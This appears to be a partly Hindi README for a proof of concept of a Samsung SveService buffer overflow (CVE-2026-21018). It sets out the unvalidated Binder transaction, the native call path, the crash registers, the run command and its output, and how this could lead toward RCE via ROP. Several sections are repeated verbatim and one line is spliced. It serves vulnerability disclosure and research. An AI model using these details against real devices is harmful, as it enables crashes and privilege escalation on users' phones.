
Samsung SveService बफ़र ओवरफ़्लो के लिए न्यूनतम PoC, जो Binder के माध्यम से आउट-ऑफ-बाउंड राइट का प्रदर्शन करता है और बिना विशेष अनुमतियों के Android सिस्टम सेवा को क्रैश कर देता है।
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
प्रभावित संस्करण: Android 14, 15, 16
प्रकटीकरण स्थिति: निजी रूप से प्रकट
SMR May-2026 Release 1 से पहले SveService में आउट-ऑफ़-बाउंड राइट स्थानीय विशेषाधिकार प्राप्त हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देता है।
पैच उचित इनपुट सत्यापन जोड़ता है।
Android 16 चलाने वाले सैमसंग उपकरणों पर सिस्टम सेवा SveService (com.sec.sve) में बफ़र ओवरफ़्लो भेद्यता। यह सेवा system (UID 1000) के रूप में चलती है और Binder के माध्यम से बिना किसी विशेष अनुमति के पहुँच योग्य है।
| घटक | भूमिका | संस्करण |
|---|---|---|
sveservice.apk | एंड्रॉइड सेवा | API 36 |
libsvejni.so | नेटिव ARM64 लाइब्रेरी | बिल्ड ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) में, पैरामीटर i18, i19, i20 (AIDL से i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38 के रूप में प्राप्त) बिना किसी आकार सत्यापन के सीधे memset, sub sp, sp, xN (alloca) और memcpy में पास किए जाते हैं।
समान फ़ंक्शन (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) cmp w20, #0x1e; b.gt के साथ सत्यापित करते हैं (> 30 बाइट्स अस्वीकार करते हुए)। SetCodecInfo बिल्कुल भी सत्यापन नहीं करता।
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) के साथ मानCause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
अपेक्षित आउटपुट:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() app_process के माध्यम से shell UID के रूप में काम करता है।signatureOrSystem अनुमति लागू नहीं की जाती — सेवा सीधे ServiceManager.addService() के माध्यम से पंजीकृत होती है, जो एंड्रॉइड के अनुमति तंत्र को बायपास करती है।0xFFFFFFFF के साथ memset हमेशा क्रैश करता है। RCE के लिए एड्रेस लीक + ROP की आवश्यकता होगी (SM-A175F पर PAC अनुपस्थित है)।Android 16 चलाने वाले सैमसंग उपकरणों पर सिस्टम सेवा SveService (com.sec.sve) में बफ़र ओवरफ़्लो भेद्यता। यह सेवा system (UID 1000) के रूप में चलती है और Binder के माध्यम से बिना किसी विशेष अनुमति के पहुँच योग्य है।
| घटक | भूमिका | संस्करण |
|---|---|---|
sveservice.apk | एंड्रॉइड सेवा | API 36 |
libsvejni.so | नेटिव ARM64 लाइब्रेरी | बिल्ड ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) में, पैरामीटर i18, i19, i20 (AIDL से i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38 के रूप में प्राप्त) बिना किसी आकार सत्यापन के सीधे memset, sub sp, sp, xN (alloca) और memcpy में पास किए जाते हैं।
समान फ़ंक्शन (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) cmp w20, #0x1e; b.gt के साथ सत्यापित करते हैं (> 30 बाइट्स अस्वीकार करते हुए)। SetCodecInfo बिल्कुल भी सत्यापन नहीं करता।
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) के साथ मानcd poc
./build_and_run.sh
अपेक्षित आउटपुट:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() app_process के माध्यम से shell UID के रूप में काम करता है।signatureOrSystem अनुमति लागू नहीं की जाती — सेवा सीधे ServiceManager.addService() के माध्यम से पंजीकृत होती है, जो एंड्रॉइड के अनुमति तंत्र को बायपास करती है।0xFFFFFFFF के साथ memset हमेशा क्रैश करता है। RCE के लिए एड्रेस लीक + ROP की आवश्यकता होगी (SM-A175F पर PAC अनुपस्थित है)।| ऑपरेशन | मान | प्रभाव |
|---|
(i18 + 15) & ~15 | 0 | 0 बाइट्स आवंटित करता है |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4 GB को शून्य करने का प्रयास → SIGSEGV |
sxtw(i18) memcpy के लिए | 0xFFFFFFFFFFFFFFFF | -1 का साइन-एक्सटेंशन → ~18 एक्साबाइट |
| ऑपरेशन | मान | प्रभाव |
|---|
(i18 + 15) & ~15 | 0 | 0 बाइट्स आवंटित करता है |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4 GB को शून्य करने का प्रयास → SIGSEGV |
sxtw(i18) memcpy के लिए | 0xFFFFFFFFFFFFFFFF | -1 का साइन-एक्सटेंशन → ~18 एक्साबाइट |